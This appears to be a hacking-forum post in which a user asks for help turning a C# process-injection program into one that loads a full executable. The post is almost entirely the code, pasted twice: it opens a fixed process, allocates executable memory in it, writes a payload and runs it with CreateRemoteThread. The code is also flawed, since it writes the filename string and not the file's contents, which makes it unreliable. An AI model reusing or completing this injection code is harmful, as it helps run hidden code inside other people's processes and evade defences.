Пожалуйста, обратите внимание, что пользователь заблокирован
Hello everyone i am trying to understand how pe injection works... The below code works fine if i used a shellcode as the payload, but when i use an exe file it doesn't work. I have an idea of converting the payload to base64 then see if i can load it but i haven,'t tried yet. I will we be happy if someone put me through on this or help me moderate the code to achieve what i want. Thanks in advance.
using System;
using System.Runtime.InteropServices;
namespace PE_Inject
{
class Program
{
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess (uint processAccess, bool bInheritHandle, int processId);
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx (IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport ("kernel32.dll")]
static extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, string lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport ("kernel32.dll")]
static extern IntPtr CreateRemoteThread (IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[STAThread]
static void Main (string [] args)
{
IntPtr hProcess = OpenProcess (0x001F0FFF, false, 4804);
IntPtr addr = VirtualAllocEx (hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
string file = "HelloWorld.exe"; // payload
IntPtr outSize;
WriteProcessMemory (hProcess, addr, file, file.Length, out outSize);
IntPtr hThread = CreateRemoteThread (hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
using System;
using System.Runtime.InteropServices;
namespace PE_Inject
{
class Program
{
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess (uint processAccess, bool bInheritHandle, int processId);
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx (IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport ("kernel32.dll")]
static extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, string lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport ("kernel32.dll")]
static extern IntPtr CreateRemoteThread (IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[STAThread]
static void Main (string [] args)
{
IntPtr hProcess = OpenProcess (0x001F0FFF, false, 4804);
IntPtr addr = VirtualAllocEx (hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
string file = "HelloWorld.exe"; // payload
IntPtr outSize;
WriteProcessMemory (hProcess, addr, file, file.Length, out outSize);
IntPtr hThread = CreateRemoteThread (hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}